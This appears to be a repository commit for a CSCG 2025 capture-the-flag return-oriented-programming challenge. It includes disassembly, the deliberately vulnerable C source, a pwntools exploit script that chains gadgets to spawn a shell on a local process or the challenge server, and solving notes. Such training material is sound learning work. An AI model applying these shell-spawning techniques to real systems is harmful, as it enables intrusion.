1696: c9 leave
1697: c3 ret
1698: 90 nop
1699: 48 8b 5d f8 mov rbx,QWORD PTR [rbp-0x8]
169d: c9 leave
169e: c3 ret
000000000000169f <main>:
169f: 55 push rbp
16a0: 48 89 e5 mov rbp,rsp
16a3: 48 83 ec 10 sub rsp,0x10
16a7: 89 7d fc mov DWORD PTR [rbp-0x4],edi
16aa: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi
16ae: b8 00 00 00 00 mov eax,0x0
16b3: e8 61 fb ff ff call 1219 <ignore_me_init_buffering>
16b8: b8 00 00 00 00 mov eax,0x0
16bd: e8 28 fe ff ff call 14ea <print_stuff>
16c2: 90 nop
16c3: c9 leave
16c4: c3 ret
Disassembly of section .fini:
00000000000016c8 <_fini>:
16c8: 48 83 ec 08 sub rsp,0x8
16cc: 48 83 c4 08 add rsp,0x8
16d0: c3 ret

53
cscg25/pwn/intro3/exploit.py Normal file
View File

@@ -0,0 +1,53 @@
from pwn import *
# Set the context for the binary
context.binary = './intro-rop' # Replace with your binary's name
# Choose local or remote
LOCAL = True # Change to False if connecting remotely
if LOCAL:
p = process(context.binary.path)
else:
p = remote("3b45136b24d0eac2fc0ed87f-1024-intro-pwn-3.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
def send_payload(payload):
p.sendline(payload)
def recv_until(delim):
return p.recvuntil(delim)
def interact():
p.interactive()
#0x00000000: pop rax; ret
#0x00000001: add rbx, r9; ret
#0x00000002: mov rcx, qword ptr [rbx]; ret
#0x00000003: mov rax, r8; mov rbx, r9; mov rcx, r10; ret
#0x00000004: xor rcx, rdi; xor rbx, rdi; ret
#0x00000005: push rax; ret
#0x00000006: xor rax, rax; xor rsi, rsi; ret
#0x00000007: sub rax, 0x8; idiv rdi; ret
#0x00000008: add rdi, r8; ret
#0x00000009: nop; ret
#0x0000000a: imul rbx, rax; ret
#0x0000000b: xor r9, r8; xor r8, r9; xor r9, r8; ret
#0x0000000c: mov rcx, rsi; add rcx, r10; ret
#0x0000000d: xor rdi, rcx; xor rsi, rcx; ret
#0x0000000e: pop rbx; push rdi; push rbx; ret
#0x0000000f: pop rbp; pop rsi; ret
ropchain = [
b"3", b"2", b"6", b"13", b"12", b"11", b"1", b"-1"
]
print("Send ropchain")
input()
for gadget in ropchain:
recv_until(b'Enter gadget index: ')
send_payload(gadget)
interact() # Keep the shell open

1
cscg25/pwn/intro3/flag Normal file
View File

@@ -0,0 +1 @@
CSCG{testflag}

BIN
cscg25/pwn/intro3/intro-rop Executable file
View File

Binary file not shown.

253
cscg25/pwn/intro3/intro-rop.c Normal file
View File

@@ -0,0 +1,253 @@
#define _GNU_SOURCE
#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
// intro-rop: gcc intro-rop.c -o intro-rop
// --------------------------------------------------- SETUP
void ignore_me_init_buffering() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
typedef struct ropgadget {
unsigned int length;
unsigned char gadget[32];
} ropgadget_t;
typedef unsigned long long u64;
// --------------------------------------------------- ROP GADGETS
void gadget_0();
void gadget_1();
void gadget_2();
void gadget_3();
void gadget_4();
void gadget_5();
void gadget_6();
void gadget_7();
void gadget_8();
void gadget_9();
void gadget_10();
void gadget_11();
void gadget_12();
void gadget_13();
void gadget_14();
void gadget_15();
__asm(".intel_syntax noprefix \n"
".global gadget_0 \n"
".global gadget_1 \n"
".global gadget_2 \n"
".global gadget_3 \n"
".global gadget_4 \n"
".global gadget_5 \n"
".global gadget_6 \n"
".global gadget_7 \n"
".global gadget_8 \n"
".global gadget_9 \n"
".global gadget_10 \n"
".global gadget_11 \n"
".global gadget_12 \n"
".global gadget_13 \n"
".global gadget_14 \n"
".global gadget_15 \n"
"gadget_0: \n"
" pop rax \n"
" ret \n"
"gadget_1: \n"
" add rbx, r9 \n"
" ret \n"
"gadget_2: \n"
" mov rcx, qword ptr [rbx] \n"
" ret \n"
"gadget_3: \n"
" mov rax, r8 \n"
" mov rbx, r9 \n"
" mov rcx, r10 \n"
" ret \n"
"gadget_4: \n"
" xor rcx, rdi \n"
" xor rbx, rdi \n"
" ret \n"
"gadget_5: \n"
" push rax \n"
" ret \n"
"gadget_6: \n"
" xor rax, rax \n"
" xor rsi, rsi \n"
" ret \n"
"gadget_7: \n"
" sub rax, 0x8 \n"
" idiv rdi \n"
" ret \n"
"gadget_8: \n"
" add rdi, r8 \n"
" ret \n"
"gadget_9: \n"
" nop \n"
" ret \n"
"gadget_10: \n"
" imul rbx, rax \n"
" ret \n"
"gadget_11: \n"
" xor r9, r8 \n"
" xor r8, r9 \n"
" xor r9, r8 \n"
" ret \n"
"gadget_12: \n"
" mov rcx, rsi \n"
" add rcx, r10 \n"
" ret \n"
"gadget_13: \n"
" xor rdi, rcx \n"
" xor rsi, rcx \n"
" ret \n"
"gadget_14: \n"
" pop rbx \n"
" push rdi \n"
" push rbx \n"
" ret \n"
"gadget_15: \n"
" pop rbp \n"
" pop rsi \n"
" ret \n"
".att_syntax prefix \n");
void *gadgets[] = {
gadget_0, gadget_1, gadget_2, gadget_3, gadget_4, gadget_5,
gadget_6, gadget_7, gadget_8, gadget_9, gadget_10, gadget_11,
gadget_12, gadget_13, gadget_14, gadget_15,
};
// --------------------------------------------------- HELPER FUNCTIONS
// get the address of a libc function
u64 get_libc_addr(const char *func) {
void *handle = dlopen("libc.so.6", RTLD_LAZY);
if (!handle) {
fprintf(stderr, "Error opening libc: %s\n", dlerror());
return 0;
}
u64 func_addr = (u64)dlsym(handle, func);
if (!func_addr) {
fprintf(stderr, "Error getting symbol address: %s\n", dlerror());
dlclose(handle);
return 0;
}
dlclose(handle);
return func_addr;
}
// libc usually contains a "/bin/sh" string, this function finds it
u64 get_binsh_str() {
void *handle = dlopen("libc.so.6", RTLD_LAZY);
if (!handle) {
fprintf(stderr, "Error opening libc: %s\n", dlerror());
return 0;
}
struct link_map *map;
if (dlinfo(handle, RTLD_DI_LINKMAP, &map) != 0) {
fprintf(stderr, "Error getting link map: %s\n", dlerror());
dlclose(handle);
return 0;
}
dlclose(handle);
return (u64)memmem((void *)map->l_addr, 0x10000000, "/bin/sh\x00", 8);
}
// get the address of the puts GOT entry
u64 get_puts_got() {
void *dyn = _DYNAMIC;
Dl_info info;
if (dladdr(dyn, &info) == 0) {
fprintf(stderr, "Error getting dynamic address: %s\n", dlerror());
}
u64 needle = get_libc_addr("puts");
return (u64)memmem((void *)info.dli_fbase, 0x10000, (void *)&needle,
sizeof(void *));
}
// --------------------------------------------------- Challenge
void print_stuff() {
u64 *new_stack = (u64 *)malloc(1024 * 1024);
puts("Enter the index of each ROP gadget");
puts("Finish your ROP chain with the index -1");
signed int lastIndex = 0;
int counter = 0;
int maxIndex = sizeof(gadgets) / sizeof(gadgets[0]);
u64 diff_puts_Binsh = get_binsh_str() - get_libc_addr("puts");
u64 diff_puts_System = get_libc_addr("system") - get_libc_addr("puts");
u64 puts_got = get_puts_got();
while (lastIndex != -1) {
printf("\n> Enter gadget index: ");
scanf("%d", &lastIndex);
if (lastIndex >= maxIndex || (lastIndex < 0 && lastIndex != -1)) {
printf("Invalid index, bye!\n");
exit(-1);
}
new_stack[counter++] = (u64)gadgets[lastIndex];
}
printf("Lets goooo ! :)\n");
u64 rbp = 0; // Get stack address of return pointer to overwrite it
__asm("mov %%rbp, %0\n" : "=r"(rbp));
rbp += 8; // Adjust for return address
memcpy((void *)rbp, (void *)new_stack, counter * 8);
__asm(".intel_syntax noprefix\n"
"mov rsp, %0\n"
"mov r8, %1\n"
"mov r9, %2\n"
"mov r10, %3\n"
"leave\n"
"ret\n"
".att_syntax prefix\n"
:
: "r"(new_stack), "r"(diff_puts_System), "r"(puts_got),
"r"(diff_puts_Binsh));
}
// --------------------------------------------------- MAIN
void main(int argc, char *argv[]) {
ignore_me_init_buffering();
print_stuff();
}

11
cscg25/pwn/intro3/notes.md Normal file
View File

@@ -0,0 +1,11 @@
r8 = system_puts_diff
r9 = puts_got
r10 = binsh_puts_diff
3 -> rax = r8, rbx = r9, rcx = r10
2 -> rcx = puts
6 -> rax = 0, rsi = 0
13 -> rdi = trash, rsi = puts
12 -> rcx = binsh
11 -> r8 = r9, r9 = r8
1 -> rbx = system